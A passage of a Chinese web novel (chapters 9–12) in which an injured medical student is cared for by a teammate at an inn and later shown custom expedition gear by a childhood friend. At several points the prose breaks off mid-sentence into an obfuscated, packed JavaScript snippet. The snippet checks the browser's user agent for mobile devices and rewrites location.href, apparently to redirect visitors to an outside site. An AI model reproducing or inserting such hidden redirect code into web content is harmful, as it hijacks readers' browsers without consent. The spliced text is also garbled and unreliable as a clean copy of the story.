“后来我们看时间实在晚了,还需要找材料和工具,就没让他立即修好,他承诺今天一早修的。” 甘草趴在秀姐纤细柔软的背上,被她背回房间。 听完反而不气了。 粽子的脾气她了解,习惯了他经常做些出人意料的事情。 9. 第 9 章 甘草憋着气拉完肚子,出来时一瘸一拐,全身无力,好在肚子舒服了。秀姐很怜悯地背起她。 路过洗手池时,甘草虚弱地表示自己要洗手、洗脸。 其实她还想洗个澡,可她现在身上有伤,只能强迫自己忽略身上脏兮兮的。 见她此情此景还不忘弄干净自己,秀姐感慨了一番她的精致讲究。 背着她走到墙边的洗水池,放下她。 “你身上的伤口…”秀姐叮嘱到一半忽然没说了。 孙甘草是学医的,不需要她多嘴提醒这些。 “好的,秀姐,我不会让伤口碰到水的。” 她语气欢快,充满感激,尴尬消散的秀姐嘴角不由自主的微微扬起。 水池台面上有香皂,甘草打湿了洗手,空气中都是淡淡的茉莉花香气,她闻了闻自己洗干净残留了香气的手背,还挺好闻。 洗完手,又洗脸,最后连沾了一些灰的头发都拿秀姐借给她的手帕仔仔细细一缕一缕擦干净。秀姐很耐心地等着她弄完,中途没有半丝不耐烦,也没有催促过她快点,弄完早点去睡觉。 甘草很感激她,弄完再次道谢。 “秀姐,你真好,谢谢你啊。” “都是一个队的队友,不用这么客气。” “好吧。我明天请你和帅哥吃饭。” 秀姐背着她上楼,路过那块坏掉的板子时,她精准地跨了过去。 甘草后知后觉地反应过来。 “秀姐,你们知道这块板子坏了?” 她语气虚弱透着浓浓的郁闷,秀姐也不好笑出来。 “是啊。” 这句话让甘草无言了,她身体无力,却还是强撑着直起身,不高兴地指责。 “你们都知道这板子坏了,怎么没一个人修!这么危险的东西你们竟然都放任不管!” 秀姐没第一时间解释,经过的第一个房门时背着她停下了脚步。 “你不是想知道你的救命恩人叫什么吗?他叫白河,喏,就住在你旁边。” 火气蹭蹭的甘草一下偃旗息鼓,软软地趴会秀姐纤细的背上。 她快一百斤了,秀姐背着她又上又下的。她有什么资格怪秀姐她们。而且,她摔下楼怪不得秀姐他们。 “抱歉。” 秀姐不妨她会道歉,愣了一秒,就解释道:“确实是我们没做好,不应该把事情推到第二天做,你生气也是应该的。” 他们先抵达客栈,就有责任做好安全工作。 两人和好了。甘草好奇地看向秀姐说的房间。 “帅哥应该睡着了吧。” 房门紧闭,没有动静,不像是没睡的样子。 “应该吧。” 秀姐背着她回房,又解释了一遍。 “楼梯是你们家粽子弄坏的,为了对付队伍里的刘老二,他和刘老二不合,一路上都在吵架。” “后来我们看时间实在晚了,还需要找材料和工具,就没让他立即修好,他承诺今天一早修的。” 甘草更愧疚了。这事和秀姐一点关系都没有。 要怪就怪刘老二! 粽子的脾气她了解,经常会做些出人意料的事情,可要是没把他惹怒,他不会做到这个地步。 所以还是刘老二的错! 甘草很有偏向性把责任全归结于素不相识的刘老二。 一进甘草的豪华大单间,扫视一眼屋内,秀姐笑道: “你这间房确实比我们的房间布置更漂亮一些,位置也更好。” 秀姐要将她放在床上,甘草忙要求她将自己放在椅子上。 秀姐没有异议,却感慨她确实很讲究。 屋里只有一张椅子,甘草坐下后,身体还很虚弱,靠在椅背里,随手从桌上放吃的的袋子里拿出一瓶水来。 “屋里没有热水,秀姐,你要不要喝水。” “不用了,谢谢。”秀姐婉言谢绝了她的水后,见她半天打不开水平盖,顺手帮她打开了。 “谢谢。”甘草喝了一小口水。 夜里天气凉爽,一口凉水下肚,甘草整个人都清醒了一些。 “咕噜噜…”两天没吃东西的肚子发出了抗议。 不给吃的就算了,还空腹喝凉水。甘草也怕自己再跑厕所,没敢多喝水,拿了面包拆开吃。 这些东西都被粽子和小李哥他们洗干净了放在她屋里。 上车之前准备的吃的不少,可她几乎都没吃过。 这一路上她都是和葡萄糖、吃水果,含人参片过来的。肚子空空如也,刚刚蹲茅坑都是拉水。 甘草抱着面包大口啃,边吃边说: “秀姐,你去睡觉吧,我自己可以。” 她洗干净了手、脸和头发,却还没来得及换上干净的衣服。 浑身脏兮兮的。质地上好的绵绸睡衣皱巴巴的,贴在曲线姣好的身体上,显出几分柔弱可怜相。 跟何况她坐在椅子里,抱着面包狼吞虎咽的样子确实惹人心软,秀姐:“我看你伤的不轻,我先给你上药吧。” “没事的,伤得不严重,我自己可以处理,今天已经很麻烦你了。” 甘草吃着面包摇头,含糊不清地谢绝了秀姐的好意。 上药包扎她都能自己做。 都快天亮了,实在不必再麻烦别人。 “那我去给你做点吃的吧。”秀姐想了想道,实在觉得她啃面包的可怜,主动提出给她做点吃的,更何况她受伤,他们这组先来的确实有一点责任,要是严厉要求粽子把楼梯修好,就不会发生这样的事情了。 “我听你家粽子说过,你坐车后喜欢吃一个烤梨,厨房有梨子,我帮你烤个梨子,再煮一碗粥。吃了能睡得舒服一些。” 受了伤,又晕车累着了,喝点烤梨汁,再吃点粥,能暖胃清肺,最合适不过。 “那怎么好意思,”甘草听到可以吃热乎的,立即改口,“可以加点肉丝和青菜吗?” 还以为她要拒绝的秀姐:“…” 她差点以为自己听错了。 秀姐竟然真去给她做吃的,甘草感慨了一下秀姐大大的好人。 等人走了,屋里只剩下甘草一个人,吃了一个小面包,喝一口水,体力恢复了一点,甘草开始处理自己身上的伤。 她身上有多处撞伤,许多部位淤青,好在只有左腿膝盖擦破了一块皮,不过…短短半个小时过去,这些淤青已经淡化,而膝盖上的伤也已经消肿结疤了。 如果有其他人在这里,肯定会大吃一惊,怎么会有人伤好得这么快。 甘草却习以为常的样子。 这些伤不用上药就能好,可甘草还是熟练地从登山包里翻出医疗包,找出药、纱布、棉签、剪刀和棉布一一放在桌上,开始给自己擦药。 这些事她做很细致且熟练,不过半个小时就把全身上下的伤处都抹了药,膝盖上的伤也用一块小棉布和纱布包好了。 等她弄好这些,换上一套干净的睡衣,秀姐也做好东西,端着粥喝烤梨上来了。 做好一碗粥,很考验火候,时间短了不够软香,时间长了又熬过头,秀姐这一碗粥端进来,甘草只凭扑鼻的香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15766066|174598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气就知道绝对是大师级厨艺。 再说烤梨,秀姐把东西一端进来,甘草就闻到了里面加了三粒枸杞和一钱银耳。 就这三粒枸杞和一钱银耳,让这个烤梨的滋味一下上了好几个等次。 “秀姐,你这手艺太好了吧。” “你都还没尝,怎么就知道了?” “闻也能闻出来,一看就是大师级别的。” 甘草对着她比了一个大拇指。秀姐被她夸张的说法逗笑了。 她发现她比她出去时精神好许多,好像渐渐恢复过来了。 “快尝尝吧,不知道合不合你口味。”秀姐把粥和烤梨放在桌上。 “那肯定合口味,我其实不挑食。”甘草双手抓着托盘边沿拖到自己面前,而后迫不及待地舀了一勺梨汁送进嘴里。 “唔唔唔…太好吃了。秀姐,你的厨艺太好了,比小李哥还好,以后谁娶了你,肯定一辈子都离不开你。” 秀姐被她的夸张形容逗得合不拢嘴。 她发现孙甘草说起甜言蜜语,比那些喜欢说好话的人更好听,大概是因为她说得很真诚。 哄得她都更好地伺候她了。 “你们家小李哥还会做饭?”秀姐随口问道,“我听说他是你们家管事。” “不是,他现在有自己的事业了,只是还帮我们家照看生意。”甘草大力的夸奖自己小李哥,“小李哥人很好,老实忠诚,会照顾人,比粽子那家伙成熟稳重。” “你不知道,小李哥小时候就想给人家国营饭店当大厨,这样天天都能吃到肉。我和粽子还说以后跟着他吃肉。后来我们家发家了,小李哥天天有肉吃,他就抛弃了这个伟大的理想。” 秀姐:“…”听得忍俊不禁。 “你们三个一块长大的?” 甘草边吃边点头,她开始喝粥了,粥的味道也极好吃,吃得她停不下来。 “唔唔唔…我和小李哥认识的更早,我们是一个村的。粽子是后来和他爸妈搬到我们村的。我们一块长大,和亲兄妹差不多。” “难怪他们对你都很好。” 甘草点头:“上山捡柴,下河摸鱼的交情。” 秀姐被她朴素的形容逗笑了。 不过穿裤衩时候的情谊确实比寻常情谊更深厚些。 三人可能比亲兄妹感情更好。 接下来,两人就这样随口闲聊。主要是秀姐说,甘草边吃边听。 秀姐说了他们这一组人一起来的情况。 他们一路都很顺利,就是日夜轮换开车,今天下午才到。 到了之后又马不停蹄租客栈,整理东西。 粽子为了让甘草住的舒服点,让老板找人重新打扫了屋子,还买了苍术熏。 他们一直忙到晚上九点才睡觉。 睡下没多久,甘草他们这一支人就到了。 “我们还以为你们明天才会到。” 一路上粽子和小李哥通过电话,知道他们一路不顺。 “我晕车晕的厉害,小秦哥就把车开得快了一点。” 秀姐:“你这样进雪山没问题吗?” 想到进雪山,甘草嘴里的食物都不香了,深深叹气:“唉——都到了这里了,没办法。” 秀姐没多问,转而说起其他。 他们这组人算上赵商总共八人,粽子、秀姐、帅哥。 还有三个一起的,叫王老大、刘老二和齐老三。 剩下一个不爱说话,做事认真负责的,叫阿川。 这些人的来历秀姐也不清楚,只知道他们身手应该不错。 10. 第 10 章 甘草对秀姐很好奇。 当然她对帅哥更好奇,只是现在不是打听的时候。 “秀姐,你为什么加入队伍啊?” 秀姐笑了笑,两手一摊道:“我喜欢旅游,也喜欢雪山,曾经带过几支队伍进山徒步穿越药神山。” “不过我们走的路线比较安全,这次听说要去药神山深处探索,一来,我挺有兴趣,二来你们队伍给的报酬高,我舍不得拒绝。” “三来,听说你们队是要找什么药,算起来也是正事,我就来了。” 甘草听了没有多解释什么。 榆安安瞒着她,也瞒着队伍其他人呢。 看来只有分东西的人知道她要找的是什么药。 而且具体的药材信息还要进山之后才告知他们。 不知是不是为了防止泄密。 “秀姐,你们报仇多少啊?”被逼进队伍里,甘草都没来得及了解这些信息,正好抽空打听一下。 “你不知道吗?”秀姐惊讶地问她。 上下打量她。 怎么说也是雇主之一,这些事都不清楚! 甘草垂下眼皮看着碗里的粥。 总不能说她是被逼上梁山,大包送进队伍里的吧。 那也太丢份了。 “我就是随便问问,看看有没有人从中克扣。” “那应该没有。”秀姐笑着比了一根大拇指和小拇指,“我们所有人都是这个数起步,我应该是中等费用。” 甘草看了一眼,心里有数了。 是自己出的起的价格。 秀姐说完又补充了一句,“不过这次你们只付了三成首款,其他的需要等到出来以后再付。” 甘草垂着脸皮慢吞吞喝粥。 十五个人,减去四个分东西的不用钱,剩下十一个人,小李哥和榆安安带的四个榆家人应该不用队伍出钱。 那么剩下跟着赵商来的就是另外雇佣的人。 “秀姐,你们是怎么被找来的?” 秀姐朝着她眨眨眼,“其他人我不知道,我的话…哈哈…暂时保密。” 甘草:“…” 秀姐可真顽皮。 甘草吃粥的空挡,秀姐又说了一些无关紧要的事。 比如他们这一组两辆车,原本粽子和刘老二三人一辆车,结果因为两人不合,粽子把人赶下车了。 最后赵商车上的秀姐、阿川和帅哥就换到了粽子车上。 帅哥好像不会开车,总之他没说自己会开。 于是秀姐和粽子、阿川轮流开车。 这样日夜兼程,才按时赶到了这里。 本以为他们会晚到,谁知比他们坐飞机的还早到。 不得不让他们感慨一番人算不如天算。 从粽子这里,秀姐听了一些甘草的事情,见了之后,发现粽子还真没夸大其词。 娇气… 特别爱干净… 是个需要捧在手心呵护的姑娘。 但同时,她又认识了她的善解人意、礼貌、适应力强… 总之,是个挺有意思的姑娘。 甘草听了她美化过后的评价:“哈哈…哈哈。” 她一点不在意被人小瞧。 她就是这么龟毛、这么一个柔弱不堪的姑娘。 吃完粥和烤梨,甘草五脏六腑都极为舒适,她细致的擦干净嘴。 “秀姐,我要去刷牙,你先回去睡觉吧。” 秀姐看了看手表,快五点了:“…” 准备伸手扶她,却见她自己一瘸一拐地走到门口的架子上拿洗漱用品。 “秀姐,我没事的,你去睡吧。” 虽然她表示自己可以,可秀姐还是陪着她去洗漱了。 做完这些回来,天都快亮了。 甘草干干净净清清爽爽地钻进被窝里,伸手按下她不久前从行李包里找出来放在床头柜上的小狗台灯,躺下去后,她抱着一个枕头和秀姐挥手:“秀姐,我就不送你出去了,你出去帮我关上门口的灯即可。” “晚安。” 终于将她送回床上睡觉的秀姐也轻柔地回了一个“晚安。” 等她睡着,秀姐站在床边,愣愣看着她恬静的睡颜许久。 屋内安静地只剩下两道细微的呼吸声,这时候,秀姐左耳动了动。 似乎确定了什么,她开始动作了。 弯腰轻轻掀开床上姑娘腿部的被褥。 她的动作轻柔缓慢,没有惊动睡着了的姑娘。 被褥下,两条纤细的美腿笔直修长,被质地柔软顺滑的丝绸睡裤贴身包裹,两条腿分开陷在柔软的被窝里。 秀姐看着床上女生诱惑力十足的身躯,不由想到白河在抱着这个脸庞清纯明艳,身材曲线姣好,介于女孩纯净和女人妖娆之间的人间尤物时是怎么做到心如止水,轻易放开的。 就是身为女子的她看了都心动,白河那个男人是柳下惠吗? 秀姐在心里吐槽完,开始下一步动作。 左手轻轻握住床上女生的左腿脚踝,让她左腿离开床铺,接着,右手指尖捏住裤脚口往上拉。 一直到露出膝盖的纱布和棉布,她放开了裤腿。 绸缎质地的裤腿再一次回到主人的腿上,像一片落叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她以最快的速度调整好自己心态。 “不好意思,我怕你伤势严重,需要去医院,你们家粽子曾经拜托过我好好照顾你,我…我是不是打扰到你了?” 秀姐说着,懊恼地低下头去。 同时也放开了甘草的左腿。 床上的姑娘没有动静,一直盯着她看。 就在秀姐呆不下去时,床上的姑娘有了动静。 “这样啊——”她说着,她轻轻眨了一下眼眸,移开了盯着秀姐的平静地过分的视线。 秀姐看到她轻轻地如花儿绽放一样笑了一下,一下恢复了正常,好像刚刚诡异的她都只是她一个人的错觉。 可秀姐知道不是错觉,现在她都能听到自己心脏砰砰地直跳。 那是吓到了的最切实的证据。 11. 第 11 章 甘草不知道她所想的。 她掩唇打了个困顿的哈欠,接着半抬起身,将被掀开的被褥重新给自己盖好。 躺回去后,她又抱紧了自己拿来当抱枕的枕头。她似乎没多在意这件事,只是随口略遗憾地嘟囔了一句。 “我还以为你有什么奇怪的嗜好呢。” 这句话她说得极轻,站在床边的秀姐却听得一清二楚。 奇怪的嗜好… 秀姐雷劈一样站在原地,不可置信地睁大眼睛看着床上语出惊人的姑娘。 什么叫她有奇怪的嗜好? 偷看人家姑娘的腿吗? 看着床上恢复了正常又准备睡过去的姑娘,她解释的话都卡在了喉咙里,一个字都说不出来。 “秀姐,”甘草又掩唇打了个哈欠,困得不行的样子,挥挥手,“你快去睡吧,我的伤没事的,明天就能好。” “没事就好…没事就好…”秀姐不知道说什么好,站在原地头脑混乱,看起来有点傻。 “那晚安?” 秀姐被提醒,如梦初醒,忙转身拿起自己放在桌上的手电筒打开,往门外走。 “晚安晚安。” 她颇有点落荒而逃的意思,可偏偏脚步又因为想保持冷静而变得僵硬,路过门边时,她抓着电灯绳子往下一拉。 啪嗒—— 屋内暗下来,屋内床头柜上的甘草小狗台灯发出柔和的光芒,和秀姐手里的手电筒光保持了一段距离。 秀姐回头,就看到床上的姑娘又抱着枕头,面朝她这边睡着了。 呼吸平稳,神态安详… 她左耳动了动,这次,她很快露出了失望的神态。 大受打击,秀姐神色恍惚地拉开门,一抬眼,就对上了门外等着的人的平静眼眸。 秀姐神色立即微变,她下意识回头看了一眼床上熟睡的孙甘草。 不知道她想到了什么,眼珠儿闪过一丝狡黠的光芒,而后,她嘴角扬起温柔的笑容,转身对上门外安静等着她的人。 “嘎吱——” 她一步走出去,关上门。 门内,熟睡的甘草不知何时无声无息地睁开了眼,她看向门口的方向。 门在她眼前关上,她看到门外站着一双穿着眼熟的黑色布鞋和浅蓝色宽松裤子的长腿。 她没有动,只是静静地竖起耳朵。 “你怎么来了?” “也不放心孙小姐?” “放心吧,她没事了。快去睡吧,我也累了,实在撑不住了。” “晚安~” 甘草听到门外秀姐压低声音,轻快而亲昵地和对方说话。 另一个人却自始至终没有说话。 秀姐简短地说完,脚步轻松又从容地走了。 而另一个人,没有发出声音,甘草甚至不知道他走了没有。 “喔喔喔喔——” 天微微亮的时候,外面的大公鸡嘹亮的歌喉就传到了屋内,半睡半醒间的甘草立马抱好枕头,将脑袋埋进枕头里睡着了。 大公鸡好啊。 叫醒了所有人。 她就可以安心睡觉了。 昨晚她听了半天也没听到门口的人走了没,胡思乱想没睡好。 早上大家都醒了的话,她反而能睡个好觉了。 隔壁的白河不知道她所想,大公鸡叫后没多久,他就睁开了那双黑夜中比寻常人看的清楚的眼睛。 想起昨晚发生的事情,他面色淡然地起床,先拿了昨晚换下来丢在椅子上的脏衣服,又走到门边拿了架子上的洗漱用品,下楼洗漱。 他在下面水池边洗了不到半个小时,赵商就端着自己洗脸盆下来了。 看到白河穿了一身浅蓝色长衣长裤在洗衣服,他惊讶地看向他的水盆。 水盆里一套洗干净在清水的浅灰色衣裤。 赵商奇怪地打量白河。 什么毛病,一大早起来洗睡衣裤,身上穿的竟然还是干净的睡衣裤。 他就不能换一套可以穿出去的干净常服? 赵商也没多想,走到水池边打招呼。 “起的挺早?” 白河洗干净洗衣服,拧干水,放在水盆里,再顺手拿上水池上方台面上属于自己的洗漱用品,转身大步走了。 赵商习惯了他冷淡的态度,不过今天总觉得他有点不一样。 只是哪里不一样,赵商暂时没想明白。 零零散散,一直到十一点,一支队伍的人才起来一半。 客栈老板和他孙女也起来了。 两人一个五十多岁,一个十岁,昨晚被后来的甘草等人吵醒,凌晨两点多才睡着。 所以今天也起晚了。 “小伙子们,那啥…我们这儿以前很少来这么多人,这…准备的东西不够多,所以能不能麻烦你们待会儿跟我们一起去采买?” 五十多岁的藏族大爷带着孙女上完菜,操着一口不太流利的汉语对赵商说。 赵商思索片刻就答应了,“我待会儿开车,带几个人和你一起去采买。” 这次他们来的突然,客栈只有一个老大爷和一个小姑娘,确实需要帮助。 “唉,这爷俩挺可怜的。”等客栈老板带着孙女下去后,小秦哥拿了筷子说道。 这些年他跑遍滇云各地采购药材,对各地住宿的地方都有所了解。 “他们爷孙怎么了?”同桌的小李哥问。 粽子毫不关心这些,拿着筷子大口吃饭。 他待会儿还要修楼梯,没空管这些闲事。 小秦哥左手拿了一块糌粑,右手端了一碗酥油茶,喝一口茶,吃一口糌粑。在滇云生活了这些年,饮食基本被同化了。 “这大爷原本有儿子、儿媳,一家都勤快能干,在草原生活。后来孩子大了,他们就打算搬到镇上生活,这里有好的学校,生活也更方便一些。” “于是他们买了牛羊,又借了不少钱,买了这地方开客栈。两年前,夫妻俩出了意外,没能活下来。老爷子就带着孩子勉强支撑。” “这地方平日里来旅游的人少,他们身上还背着许多债,除了平常的开支,其他的都拿去还钱了。” 一桌的人,除了只关心吃的不太习惯的粽子,和面色平静的帅气,其他人都唏嘘不已。 “我去修楼梯了。”粽子喝完最后一口酥油茶,丢下碗筷,率先离席。其他人也陆陆续续吃完,干各自的事情去了。 一大桌早饭,这群人人一扫而空。 老板和孙女来收碗筷时,小女孩感慨:“爷爷,他们吃的好多啊,都吃完了。” 老板黝黑的脸上笑出一脸褶子:“吃的多,身体才会更强壮啊。” .< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从小到大,她每次受伤,小伤第二天会好,不留一丝疤痕,严重点的伤,也只需要三四天好,同样不会留疤。 至于更严重的…大家把她保护的太好了,还没受过断手断脚那样严重的伤。 所以她也不知道自己断手断脚会不会也能好那么快,且不留下丝毫后遗症。 “棒槌?” “棒槌?” 甘草被门外小声地呼喊打断了思路,回过神来。 “你干什么?” “你醒了?那快出来吧!我们去干正事。” 甘草听粽子最后一句话说得极低,好像怕谁听见似的,立马猜到他可能又要搞什么了。 甘草慢吞吞重新包扎好膝盖,起床、换衣服,再随便配了一个驱虫的药包放身上。 “可以进来了。” 粽子推开门大步走进屋,随手将手里提着的一个黑色背包放在屋内的桌上。 “快来看看我们给你准备的一些特殊装备。” 甘草走到桌前坐下。 12. 第 12 章 粽子拉开背包拉链,甘草低头一看—— 背包里躺着一把军刀、一把枪、两个备用弹夹… 另外还有冰镐、冰爪在内翻越雪山的正常装备。 看到这些东西,甘草脸色依旧平静,好像这些东西都是常用品一样。 她视线扫过包里的那些装备后,先落在了那把小巧的军刀上,而后拿了起来检查。 至于包里的枪—— 其实她小时候就跟着孙老头见识过村里民兵团的枪,也学过枪,可她没什么射击天赋,准头时好时坏。 所以她对枪没太大兴趣,反而是那把小巧的军刀,做工精致,看起来是粽子的手笔。 “果然是我发小,就是有眼光,这把刀是小爷亲自做的,好看吧?” 甘草点点头,拉开刀身,巴掌长一点点的刀握在她手里,像个玩具似的,没有丝毫杀伤力。 “你别看这刀小,锋利,坚硬,刀把用了镂空设计,轻便许多,很适合你进山携带。” 甘草点头。 嗯,也适合搞偷袭。 见她满意,粽子又从她手里拿走那把军刀,合上刀身后,对着她展示,“你看,刀把这里还做了点小设计。” 他大拇指握住刀把的一个按钮缓缓往前推,一把小小的手术刀从刀把里被推出来。 “可以给你拿来当手术刀用。” 甘草眼睛一亮,笑眯眯接过粽子还给她的军刀,“你以为我是榆安安啊。”总是把手术刀揣身上。 甘草不在意地说着,弯腰拉开脚下自己的背包,从里面翻出一个本子来,然后翻到空页撕下一页来,她左手拿着纸张,右手握着军刀,将手术刀贴在纸张上,轻轻往下划。 纸张立即被整齐地切成两半,一半在甘草手里,另外一半轻飘飘的落在了地上。 “好刀!” “那是,小爷出品,必属精品。”粽子弯腰捡起那半边纸,随手揉成一团丢在桌子旁边的垃圾桶里。 甘草笑眯眯地将那半边纸也递给粽子让他丢垃圾桶,然后对着一边的空处咻咻比划了两下。 “有没有觉得我现在挺像榆安安那大魔鬼?那魔鬼就喜欢给人开膛破肚。” 榆安安是中医科主任,但同时修习了西医,平常也在西医那边救人。甘草曾经许多次偷偷跟进去看榆安安给人手术,那样子,比卖鱼的人杀鱼还利落,手起刀落,就那人皮肤划开了。 甘草觉得有种凶残的美。 “哇——”粽子夸张地举起双手抵住唇,睁大丹凤眼,装作星星眼:“外科第二把刀!” “噗嗤!”甘草没忍住,笑出来。 抬手打了一下他手臂。 粽子怪声怪调搞怪的样子像个野猴子。 而且人家榆安安被称为“外科一把刀”,那是实至名归,她一个还没出师的医学生,虽然被称第二把刀很爽快,但受之有愧啊。 粽子见她笑起来,也咧开嘴,露出一口大白牙。 爱不释手地把玩了一会儿那把军刀,甘草直接揣兜里了。 现在,她也和榆安安看齐了。走哪里都带一把刀。 而且她还是双刀。 以后就简称“刀二”。 是她独有的外科二把刀! “棒槌。”粽子看她笑着笑着,忽然正经叫了她一声。 “做什么?”甘草闻言撩起眼皮看他一眼,“又想搞事情了?” 粽子少有一本正经的时候,他这么正儿八经地叫她,通常昭示着他要搞事了。甘草看完他,又低头去检查包里的其他东西了。 “你今天心情不错?”她语气平静,神色也轻松,粽子确定自己没看错,她今天心情就是不错。 甘草闻言,拿冰镐检查的手顿住。 “我只是想明白了。” “想明白什么?”粽子愣了一下问。 甘草抬头,对他露齿一笑,“想明白你是个笨蛋,比我还笨的笨蛋。” 说完,她哈哈哈大笑起来,粽子气笑了,伸手把她头发弄乱了。甘草把被弄乱的头发梳理顺,轻飘飘瞥他一眼:“幼稚。” 粽子原地凌乱:“…”谁幼稚,谁幼稚啊! 闹过后,粽子给她大致介绍了一下他给她的装备,事实上请粽子帮忙弄装备时,离出发的时间就没几天了。 一直到出发前一天,他才说东西弄好了。当时他还瞒着他也加入队伍了,并且暗戳戳计划逃跑的事。为此,他谎称请人帮忙带去滇云了,只要让小秦哥去签收就行了。 所以直到今天,甘草才见到这部分他紧赶慢赶弄来的优良装备。 许多东西,粽子做了奇奇怪怪的设计。 比如登山杖把手加了一个银针发射装置,另一头能连接配套的钩子,钩子还能弹出刀片。 据他介绍,如果需要采悬崖绝壁上的药草的时候,直接一勾就能采到了。 总之,听完粽子的大致介绍,甘草越家叹服他的奇思妙想。 东西很多,只有需要介绍的粽子会给她讲解,其他的让她之后再看。 甘草也不需要他一一讲解,出发之前她了解过雪山装备怎么用。不必要浪费时间一一教她。 看完装备,甘草将黑色背包拉链拉好,提起来放到桌边其他两个行李包旁边。 这两个行李包,一个装了她日常所用,是个大皮袋,不用带进山,在客栈里用的。 另外那个大红色登山包才是她这次进山要背的包。 看到这个颜色鲜艳,惹人瞩目的大红色登山包时,甘草脸上顿时露出无奈的表情。 她的登山服和这背包是一套的,都是俗严的大红色。 甘草只要想到自己要穿得更个移动的红包似的就很窒息,可东西已经做好了,她就算不喜欢颜色也来不及改了。 而据小李哥说,这俗艳的颜色是孙老头要求的,说进雪山,出了事,红色更醒目,更容易找人。 想到孙老头,甘草心情微涩,但她很快把这不该有的情绪抛开,起身去拿洗漱用品去洗漱。 “喏,房间钥匙,”粽子从兜里掏出一把钥匙给她,“昨晚忘记了,以后出去别忘了锁门。” 甘草随手接过揣兜里。 现在队伍情况不明,她屋内又有大杀器。 锁上门确实更安全。 锁门时,旁边等着的粽子忽然说;“棒槌。” “干什么?”甘草拿钥匙对准铜挂锁,头也没抬。 粽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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粽子和甘草不知道身后有人走过,路过厨房,粽子商量道:“我去给你煮个梨子水吧,等你吃完,咱们就出去走走,叫上小秦哥。” 甘草忙喊住他:“不用,我们待会儿出去吃,你想起哪儿玩?” 她待会儿还有事情做。粽子要么跟着她一起去,要么另外找人带粽子出去玩。 据她所知,粽子好像还没来过滇云这边旅游过。 其实她也只来过这里一次,对这里并不熟。 不过他们有车,应该耽误不了多少时间,大不了晚点睡。 粽子不知道她所想,闻言立马高兴地走回来。 他不喜欢下厨。 只是甘草每次坐长途车后需要吃梨子水清肺,他习惯了帮忙烤梨子。 不过他烤梨子就是把梨子放到火上烤,烤软了让她插根吸管自己抱着吃。 甘草也是知道他做的不好吃,所以不想再吃。 昨晚上已经吃过更好吃的了。 “等我们出去时再说。” 甘草也没多问,两人并肩走到水池那边。